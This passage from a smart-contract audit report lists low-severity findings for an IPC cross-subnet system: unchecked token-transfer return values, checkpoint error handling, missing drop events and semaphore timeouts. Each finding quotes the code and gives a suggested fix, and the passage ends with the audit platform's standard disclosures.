Ensuring return values are checked consistently prevents failed token transfers from being silently ignored, which could otherwise enable incorrect accounting in cross-subnet operations.

Proof of Concept

function ierc20Transfer(
    Asset memory asset,
    address recipient,
    uint256 value
) internal returns (bool success, bytes memory ret) {
    return
        asset.tokenAddress.call(
            // using IERC20 transfer instead of safe transfer so we can
            // bubble-up the failure instead of reverting on failure so we
            // can send the receipt.
            abi.encodePacked(IERC20.transfer.selector, abi.encode(recipient, value))
        );
}

Recommended mitigation steps

Check return values in all locations using ierc20Transfer:

// When using ierc20Transfer
(bool success, bytes memory returnData) = AssetHelper.ierc20Transfer(asset, recipient, amount);
if (!success) {
    // Handle failure case
    revert("ERC20 transfer failed");
}

[L-14] Error propagation enhancement for @BottomUpCheckpointManager.submit_next_epoch()

submit_next_epoch function in BottomUpCheckpointManager lacks enhanced error propagation for improved visibility and recoverability from failures in checkpoint submission process.

Impact

Better error propagation ensures checkpoint submission failures are noticed by higher-level components and monitoring systems, helping to prevent delayed or missed checkpoints.

Proof of Concept

// In ipc/provider/src/checkpoint.rs
pub async fn run(self, submitter: Address, submission_interval: Duration) {
    tracing::info!("launching {self} for {submitter}");

    loop {
        if let Err(e) = self.submit_next_epoch(submitter).await {
            tracing::error!("cannot submit checkpoint for submitter: {submitter} due to {e}");
        }
        tokio::time::sleep(submission_interval).await;
    }
}

Recommended mitigation steps

Use better error propagation and handling mechanisms:

pub async fn run(self, submitter: Address, submission_interval: Duration) {
    tracing::info!("launching {self} for {submitter}");
    let mut consecutive_failures = 0;

    loop {
        match self.submit_next_epoch(submitter).await {
            Ok(_) => {
                consecutive_failures = 0;
                // Reset backoff when successful
            },
            Err(e) => {
                consecutive_failures += 1;
                let backoff_time = calculate_backoff(consecutive_failures);
                
                tracing::error!(
                    "Checkpoint submission failed: {e}, consecutive failures: {consecutive_failures}, backing off for {backoff_time:?}"
                );
                
                // Add additional backoff for repeated failures
                tokio::time::sleep(backoff_time).await;
            }
        }
        tokio::time::sleep(submission_interval).await;
    }
}

[L-15] Event logging addition for @IpcContract.dropMessages()

dropMessages function in IpcContract.sol removes messages from inflightMsgs mapping without emitting events for off-chain monitoring systems.

Impact

Adding event emission improves visibility of message removal operations, making debugging easier and providing users with information about when their messages are dropped.

Proof of Concept

function dropMessages(bytes32[] calldata ids) public onlyOwner {
    uint256 length = ids.length;
    for (uint256 i; i < length; ) {
        delete inflightMsgs[ids[i]];
        unchecked {
            ++i;
        }
    }
}

Recommended mitigation steps

Use event emission to improve visibility:

// Use this event definition
event MessageDropped(bytes32 indexed msgId, address indexed owner, uint256 timestamp);

function dropMessages(bytes32[] calldata ids) public onlyOwner {
    uint256 length = ids.length;
    for (uint256 i; i < length; ) {
        bytes32 msgId = ids[i];
        
        // Only emit event if the message exists
        if (inflightMsgs[msgId].message.length > 0) {
            emit MessageDropped(msgId, msg.sender, block.timestamp);
        }
        
        delete inflightMsgs[msgId];
        
        unchecked {
            ++i;
        }
    }
}

[L-16] Timeout handling for checkpoint semaphore acquisition

BottomUpCheckpointManager uses semaphore to limit concurrent checkpoint submissions without timeout handling for permit acquisition in high-load scenarios.

Impact

Timeout handling prevents potential deadlocks in high-load scenarios where the semaphore might run out of permits, ensuring new submissions can still be processed and preventing checkpoint delays or system-wide performance degradation.

Proof of Concept

// In ipc/provider/src/checkpoint.rs
// The semaphore is used to limit concurrent checkpoint submissions
let submission_permit = self
    .submission_semaphore
    .clone()
    .acquire_owned()
    .await
    .unwrap();
all_submit_tasks.push(tokio::task::spawn(async move {
    let height = event.height;
    let hash = bundle.checkpoint.block_hash.clone();

    let result =
        Self::submit_checkpoint(parent_handler_clone, submitter, bundle, event)
            .await
            .inspect(|_| {
                emit(CheckpointSubmitted {
                    height,
                    hash: HexEncodableBlockHash(hash),
                });
            })
            .inspect_err(|err| {
                tracing::error!(
                    "Fail to submit checkpoint at height {height}: {err}"
                );
            });

    drop(submission_permit);
    result
}));

Recommended mitigation steps

Use timeout handling for semaphore acquisition:

// Try to acquire permit with timeout
match tokio::time::timeout(
    Duration::from_secs(30), // Configurable timeout duration
    self.submission_semaphore.clone().acquire_owned()
).await {
    Ok(Ok(submission_permit)) => {
        all_submit_tasks.push(tokio::task::spawn(async move {
            // Use scopeguard for reliable permit release
            let _guard = scopeguard::guard(submission_permit, |p| drop(p));
            
            // Rest of the task implementation...
            let result = Self::submit_checkpoint(
                parent_handler_clone, 
                submitter, 
                bundle, 
                event
            ).await;
            
            // No need to explicitly drop - scopeguard handles it
            result
        }));
    },
    Ok(Err(e)) => {
        tracing::error!("Failed to acquire semaphore permit: {}", e);
        // Handle error appropriately
    },
    Err(_) => {
        tracing::error!("Timeout waiting for semaphore permit");
        // Apply backoff strategy
    }
}

---

Disclosures

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.